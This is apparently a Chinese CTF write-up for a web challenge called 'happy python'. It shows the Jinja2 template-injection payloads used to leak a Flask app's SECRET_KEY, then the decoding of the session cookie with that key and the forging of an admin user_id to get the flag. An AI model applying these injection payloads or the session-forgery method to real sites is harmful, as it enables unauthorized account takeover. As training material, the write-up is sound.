

# week4-writeup

## wuerror

### web

#### happy python

```
{u'csrf_token': u'a844480fd5e2cd4c8e3107765aa25923572cd2df', u'fresh': True, u'user_id': u'admin', u'id': u'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb'}
```

这题首先百度发现应该是flask/jinja2模板注入，

```
http://118.25.18.223:3001/{{1+1}} //输出hello 2, 确定是模板注入
http://118.25.18.223:3001/{{config}}
```

LOGOUT

```
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*',
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None,
'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH':
None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None,
'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http'}
```

Encryption Encoding SQL XSS Other Chrome BackBar Contribute me! HackBar

看文章继续试验注入

```
{{'__.__class__.__mro__'}}
```

发现可以，觉得大概是沙箱逃逸了，但努力两天继续下去发现()似乎被过滤了无法像文章说的那样找到file这些基本类。于是转向另一篇hctf的博文试验伪造session登陆的思路。

在之前注入{{config}}时我们已经得到了secret\_key，抓取session利用GitHub的session\_cookie\_manager.py解密session，发现user\_id是个数字，把它改成admin加密后访问失败。又注册两个新账号whd1/whd2发现其user\_id为164/165，猜测admin的user\_id为01.成功得到flag

```
E:\Firefox_download\flask-session-cookie-manager-master>activate py2
(py2) E:\Firefox_download\flask-session-cookie-manager-master>python2.exe session_cookie_manager.py decode -s "9RxdzNwq7!nOoK3*" -c ".eJwlj8GqAjEMAP-lzw9pmqSpP70kaYIiK0zq6fH-3QWvAwMzf2XLPY5
pub73T1zKd1_lW0BrhZpuDX0u7GP1khiA80ZVWuApE8xRu24gHwgeKdI8xyBxNyEVKTx7BCn7C50JAmTWbWANGZDUAXBx0Q3Yos-dTnCLJfix57b-_W1591jSkKuTjQF71Gq9C7sBnywMb9xLjy9D5H7L8J1PL_BenxPOw.XGa6ig.yNtT9pmN3FkBe
i3ASdmHS28kFps"
{'u'csrf_token': u'a844480fd5e2cd4c8e3107765aa25923572cd2df', u'fresh': True, u'user_id': u'28', u'id': u'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6
ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb'}
```

资料：<https://www.cnblogs.com/apossin/p/10083937.html>

<https://www.freebuf.com/articles/web/98928.html>

